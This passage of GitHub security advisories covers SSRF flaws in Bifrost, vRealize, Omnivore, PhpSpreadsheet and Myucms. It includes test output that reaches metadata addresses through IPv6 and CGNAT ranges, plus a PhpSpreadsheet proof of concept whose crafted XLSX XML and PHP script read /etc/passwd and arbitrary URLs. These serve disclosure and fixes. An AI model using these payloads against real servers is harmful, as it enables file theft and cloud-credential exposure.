\"http://[2002:a9fe:a9fe::]:9/\": EOF\nNAT64-IMDS false failed to fetch from \"http://[64:ff9b::a9fe:a9fe]:9/\": Get \"http://[64:ff9b::a9fe:a9fe]:9/\": context deadline exceeded\nNAT64-local-IMDS false failed to fetch from \"http://[64:ff9b:1::a9fe:a9fe]:9/\": Get \"http://[64:ff9b:1::a9fe:a9fe]:9/\": context deadline exceeded\nsitelocal-fec0 false failed to fetch from \"http://[fec0::1]:9/\": Get \"http://[fec0::1]:9/\": EOF\nCONTROL-direct-IMDS true failed to fetch from \"http://169.254.169.254:9/\": Get \"http://169.254.169.254:9/\": blocked fetch to non-public address 169.254.169.254\nCONTROL-RFC1918 true failed to fetch from \"http://10.0.0.1:9/\": Get \"http://10.0.0.1:9/\": blocked fetch to non-public address 10.0.0.1\nCONTROL-loopback true failed to fetch from \"http://127.0.0.1:9/\": Get \"http://127.0.0.1:9/\": blocked fetch to non-public address 127.0.0.1\nCONTROL-mapped-IMDS true failed to fetch from \"http://[::ffff:169.254.169.254]:9/\": Get \"http://[::ffff:169.254.169.254]:9/\": blocked fetch to non-public address 169.254.169.254\n```\n\nReading the result: every control (direct IMDS, RFC 1918, loopback, IPv4-mapped IMDS) is rejected **at the gate** with `blocked fetch to non-public address` and no socket is ever opened. Every CGNAT / 6to4 / NAT64 / site-local target instead passes `isPublicIP` and proceeds to the network dial \u2014 observed as `context deadline exceeded` or `EOF` (a real connection attempt), never `blocked fetch to non-public address`. The `blocked` vs `dial-attempted` split isolates the `isPublicIP` classification defect precisely.\n\nA standalone re-check of the verbatim `isPublicIP` body confirms the classification directly (Go 1.26.1):\n\n```\n100.64.0.1 isPublicIP=true (CGNAT \u2014 should be blocked)\n100.127.255.254 isPublicIP=true (CGNAT)\n2002:a9fe:a9fe:: isPublicIP=true (6to4 -\u003e 169.254.169.254)\n64:ff9b::a9fe:a9fe isPublicIP=true (NAT64 -\u003e 169.254.169.254)\n64:ff9b:1::a9fe:a9fe isPublicIP=true (NAT64 local-use -\u003e 169.254.169.254)\nfec0::1 isPublicIP=true (deprecated site-local)\n169.254.169.254 isPublicIP=false (direct IMDS \u2014 correctly blocked, control)\n::ffff:169.254.169.254 isPublicIP=false (IPv4-mapped \u2014 correctly blocked, control)\n8.8.8.8 isPublicIP=true (public \u2014 correctly allowed, control)\n```\n\n### Honest scope note\n\nThe test host used for verification has no CGNAT/NAT64 routing that returns to a local recorder, so I did not capture live instance-metadata bytes here \u2014 the connection lands on the upstream NAT or times out. The 6to4/NAT64 vectors require a dual-stack or NAT64-enabled host to reach IMDS, and the CGNAT vector requires the deployment\u0027s internal network to use `100.64.0.0/10`. These are the same routing preconditions the references below were accepted under. The defect demonstrated above is unconditional: `isPublicIP` permits the forbidden ranges on every host.\n\n## References (canonical dimension precedents)\n\n- CVE-2026-45741 / GHSA-86m8-88fq-xfxp \u2014 Gotenberg `IsPublicIP` IPv6 6to4 / NAT64 / site-local bypass; same Go `netip` + `Unmap` gap.\n- GHSA-5jh9-2h63-pw4q \u2014 CC-Tweaked NAT64 (`64:ff9b::/96`) bypass; their fix adds `isCarrierGradeNatAddress` (CGNAT) + NAT64 handling.\n\n## Suggested fix\n\nIn `isPublicIP`, after `Unmap()`:\n\n1. Reject CGNAT: `100.64.0.0/10` for IPv4 (and the `::ffff:100.64.0.0/106` mapped form is already handled by `Unmap`).\n2. For IPv6, extract any embedded IPv4 and re-run the classification on it: 6to4 (`2002::/16` -\u003e bytes 2-5), NAT64 well-known (`64:ff9b::/96`) and local-use (`64:ff9b:1::/48`) -\u003e low 32 bits. Then apply the same loopback/private/link-local/CGNAT checks to the extracted IPv4.\n3. Reject deprecated site-local `fec0::/10`.",
"id": "GHSA-w98g-5w9p-p3rc",
"modified": "2026-08-28T18:26:02Z",
"published": "2026-08-28T18:26:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/maximhq/bifrost/security/advisories/GHSA-w98g-5w9p-p3rc"
},
{
"type": "WEB",
"url": "https://github.com/maximhq/bifrost/pull/4092"
},
{
"type": "WEB",
"url": "https://github.com/maximhq/bifrost/commit/54ec431fc5255ff42c36420d88549477e0b33d89"
},
{
"type": "PACKAGE",
"url": "https://github.com/maximhq/bifrost"
},
{
"type": "WEB",
"url": "https://github.com/maximhq/bifrost/releases/tag/core/v1.5.17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Bifrost\u0027s SSRF deny-list is incomplete: isPublicIP permits CGNAT, IPv6 6to4/NAT64, and site-local in FetchAndEncodeURL"
}
GHSA-W9VR-RGWG-C56X
Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-05-24 19:12The vRealize Operations Manager API (8.x prior to 8.5) contains a Server Side Request Forgery in an end point. An unauthenticated malicious actor with network access to the vRealize Operations Manager API can perform a Server Side Request Forgery attack leading to information disclosure.
{
"affected": [],
"aliases": [
"CVE-2021-22026"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-30T18:15:00Z",
"severity": "HIGH"
},
"details": "The vRealize Operations Manager API (8.x prior to 8.5) contains a Server Side Request Forgery in an end point. An unauthenticated malicious actor with network access to the vRealize Operations Manager API can perform a Server Side Request Forgery attack leading to information disclosure.",
"id": "GHSA-w9vr-rgwg-c56x",
"modified": "2022-05-24T19:12:29Z",
"published": "2022-05-24T19:12:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22026"
},
{
"type": "WEB",
"url": "https://www.vmware.com/security/advisories/VMSA-2021-0018.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W9WC-VX4J-8XWG
Vulnerability from github – Published: 2026-08-20 12:31 – Updated: 2026-08-20 12:31The scanFeedsResolver in packages/api/src/resolvers/subscriptions/index.ts passes the caller-supplied url straight to axios.get(url, rssParserConfig()) with no address validation. The same file guards the subscribe path with validateUrl(), which rejects private and reserved ranges through the private-ip library, and createPageSaveRequest applies the same check, so the omission is specific to this resolver. An authenticated user can direct the server to request arbitrary internal endpoints. The response is parsed as a feed or as HTML and the resolver returns the resulting url, title, description and type fields, so disclosure is limited to feed-shaped metadata and to link elements advertising RSS or Atom feeds; requests that do not parse still distinguish reachable ports from unreachable ones through the resulting error.
{
"affected": [],
"aliases": [
"CVE-2026-77066"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-20T11:16:22Z",
"severity": "MODERATE"
},
"details": "The scanFeedsResolver in packages/api/src/resolvers/subscriptions/index.ts passes the caller-supplied url straight to axios.get(url, rssParserConfig()) with no address validation. The same file guards the subscribe path with validateUrl(), which rejects private and reserved ranges through the private-ip library, and createPageSaveRequest applies the same check, so the omission is specific to this resolver. An authenticated user can direct the server to request arbitrary internal endpoints. The response is parsed as a feed or as HTML and the resolver returns the resulting url, title, description and type fields, so disclosure is limited to feed-shaped metadata and to link elements advertising RSS or Atom feeds; requests that do not parse still distinguish reachable ports from unreachable ones through the resulting error.",
"id": "GHSA-w9wc-vx4j-8xwg",
"modified": "2026-08-20T12:31:22Z",
"published": "2026-08-20T12:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77066"
},
{
"type": "WEB",
"url": "https://github.com/omnivore-app/omnivore/issues/4647"
},
{
"type": "WEB",
"url": "https://github.com/omnivore-app/omnivore/commit/c4d7d8562e6b9aabb1d8e4dabca268e314baa43a"
},
{
"type": "WEB",
"url": "https://github.com/omnivore-app/omnivore"
},
{
"type": "WEB",
"url": "https://github.com/omnivore-app/omnivore/blob/0d66408746788e07cec43928581b2567308ab575/packages/api/src/resolvers/subscriptions/index.ts#L445"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/omnivore-server-side-request-forgery-via-the-scanfeeds-graphql-query"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W9XV-QF98-CCQ4
Vulnerability from github – Published: 2024-10-07 15:58 – Updated: 2025-03-06 18:13Summary
It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer->setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.
Details
XLSX files allow embedding or linking media. When
In xl/drawings/drawing1.xml an attacker can do e.g.:
<a:blip cstate="print" r:link="rId1" />
And then, in xl/drawings/_rels/drawing1.xml.rels they can set the path to anything, such as:
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="/etc/passwd" />
or
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="http://example.org" />
When the HTML writer is outputting the image, it does not check the path in any way. Also the getimagesize() call does not mitigate this, because when getimagesize() returns false, an empty mime type is used.
if ($this->embedImages || str_starts_with($imageData, 'zip://')) {
$picture = @file_get_contents($filename);
if ($picture !== false) {
$imageDetails = getimagesize($filename) ?: ['mime' => ''];
// base64 encode the binary data
$base64 = base64_encode($picture);
$imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;
}
}
$html .= '<img style="position: absolute; z-index: 1; left: '
. $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '
. $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="'
. $imageData . '" alt="' . $filedesc . '" />';
PoC
<?php
require 'vendor/autoload.php';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();
// The below is just for demo purposes
$pattern = '/data:;base64,(?<data>[^"]+)/i';
preg_match_all($pattern, $output, $matches);
print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));
print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));
Add this file in the same directory: book.xlsx
Run with:
php index.php
Impact
When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. revealing secrets. Note that any PHP protocol wrappers can be used, meaning that if for example the expect:// wrapper is enabled, also remote code execution is possible.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.29.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpexcel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.8.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45291"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-36",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-07T15:58:06Z",
"nvd_published_at": "2024-10-07T21:15:17Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nIt\u0027s possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer-\u003esetEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file\u0027s type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.\n\n### Details\n\nXLSX files allow embedding or linking media. When \n\nIn `xl/drawings/drawing1.xml` an attacker can do e.g.:\n```xml\n\u003ca:blip cstate=\"print\" r:link=\"rId1\" /\u003e\n```\n\nAnd then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as:\n```xml\n\u003cRelationship Id=\"rId1\"\n Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n Target=\"/etc/passwd\" /\u003e\n```\nor\n```xml\n\u003cRelationship Id=\"rId1\"\n Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n Target=\"http://example.org\" /\u003e\n```\n\nWhen the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used.\n\n```php\nif ($this-\u003eembedImages || str_starts_with($imageData, \u0027zip://\u0027)) {\n $picture = @file_get_contents($filename);\n if ($picture !== false) {\n $imageDetails = getimagesize($filename) ?: [\u0027mime\u0027 =\u003e \u0027\u0027];\n // base64 encode the binary data\n $base64 = base64_encode($picture);\n $imageData = \u0027data:\u0027 . $imageDetails[\u0027mime\u0027] . \u0027;base64,\u0027 . $base64;\n }\n}\n\n$html .= \u0027\u003cimg style=\"position: absolute; z-index: 1; left: \u0027\n . $drawing-\u003egetOffsetX() . \u0027px; top: \u0027 . $drawing-\u003egetOffsetY() . \u0027px; width: \u0027\n . $drawing-\u003egetWidth() . \u0027px; height: \u0027 . $drawing-\u003egetHeight() . \u0027px;\" src=\"\u0027\n . $imageData . \u0027\" alt=\"\u0027 . $filedesc . \u0027\" /\u003e\u0027;\n```\n\n### PoC\n\n```php\n\u003c?php\n\nrequire \u0027vendor/autoload.php\u0027;\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader-\u003eload(__DIR__ . \u0027/book.xlsx\u0027);\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\n$writer-\u003esetEmbedImages(true);\n$output = $writer-\u003egenerateHTMLAll();\n\n// The below is just for demo purposes\n\n$pattern = \u0027/data:;base64,(?\u003cdata\u003e[^\"]+)/i\u0027;\n\npreg_match_all($pattern, $output, $matches);\n\nprint(\"*** /etc/passwd content: ***\\n\");\nprint(base64_decode($matches[\u0027data\u0027][0]));\n\nprint(\"*** HTTP response content: ***\\n\");\nprint(base64_decode($matches[\u0027data\u0027][1]));\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx)\n\nRun with:\n`php index.php`\n\n### Impact\n\nWhen embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.",
"id": "GHSA-w9xv-qf98-ccq4",
"modified": "2025-03-06T18:13:21Z",
"published": "2024-10-07T15:58:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45291"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465"
},
{
"type": "PACKAGE",
"url": "https://github.com/PHPOffice/PhpSpreadsheet"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled"
}
GHSA-WC2V-P2CH-RF7V
Vulnerability from github – Published: 2022-05-24 19:16 – Updated: 2022-05-24 19:16Myucms v2.2.1 contains a server-side request forgery (SSRF) in the component \controller\index.php, which can be exploited via the sj() method.
{
"affected": [],
"aliases": [
"CVE-2020-21653"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-06T22:15:00Z",
"severity": "CRITICAL"
},
"details": "Myucms v2.2.1 contains a server-side request forgery (SSRF) in the component \\controller\\index.php, which can be exploited via the sj() method.",
"id": "GHSA-wc2v-p2ch-rf7v",
"modified": "2022-05-24T19:16:59Z",
"published": "2022-05-24T19:16:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-21653"
},
{
"type": "WEB",
"url": "https://github.com/lolipop1234/XXD/issues/5"
}
],
"schema_version": "1.4.0",
"severity": []
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.